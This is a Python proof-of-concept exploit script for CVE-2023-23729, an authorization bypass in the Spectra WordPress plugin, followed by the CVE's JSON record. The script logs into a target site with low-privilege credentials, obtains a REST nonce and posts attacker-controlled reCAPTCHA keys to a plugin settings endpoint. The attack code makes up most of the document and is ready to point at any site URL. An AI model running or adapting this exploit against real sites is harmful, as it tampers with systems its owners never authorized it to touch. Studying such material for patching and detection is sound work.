CVE-2023-23729

import requests import sys # CVE-2023-23729 PoC - Spectra Plugin Authorization Bypass # Target: WordPress site with Spectra plugin < 2.3.0 def exploit_spectra(target_url, username, password): """ Exploit authorization bypass in Spectra plugin Allows low-privilege users to modify reCAPTCHA settings """ session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } resp = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Login successful") # Step 2: Get nonce for REST API nonce_url = f"{target_url}/wp-admin/admin-ajax.php?action=rest-nonce" nonce_resp = session.get(nonce_url) nonce = nonce_resp.text.strip() print(f"[+] Got nonce: {nonce}") # Step 3: Exploit - Modify reCAPTCHA settings exploit_url = f"{target_url}/wp-json/spectra/v1/update_settings" # Malicious reCAPTCHA settings exploit_data = { 'spectra_reCaptcha_site_key': 'attacker_controlled_key', 'spectra_reCaptcha_secret_key': 'attacker_secret', 'spectra_reCaptcha_status': 'true' } headers = { 'X-WP-Nonce': nonce, 'Content-Type': 'application/json' } exploit_resp = session.post(exploit_url, json=exploit_data, headers=headers) if exploit_resp.status_code == 200: print("[+] Exploit successful - reCAPTCHA settings modified") print(f"[+] Response: {exploit_resp.json()}") return True else: print(f"[-] Exploit failed - Status: {exploit_resp.status_code}") return False if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} http://target.com contributor password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_spectra(target, user, pwd)

{"cve": {"id": "CVE-2023-23729", "sourceIdentifier": "[email protected]", "published": "2025-12-09T17:15:48.183", "lastModified": "2026-04-28T19:19:27.193", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Brainstorm Force Spectra allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Spectra: from n/a through 2.3.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://vdp.patchstack.com/database/wordpress/plugin/ultimate-addons-for-gutenberg/vulnerability/wordpress-spectra-wordpress-gutenberg-blocks-plugin-2-3-0-contributor-recaptcha-settings-change-vulnerability?_s_id=cve", "source": "[email protected]"}]}}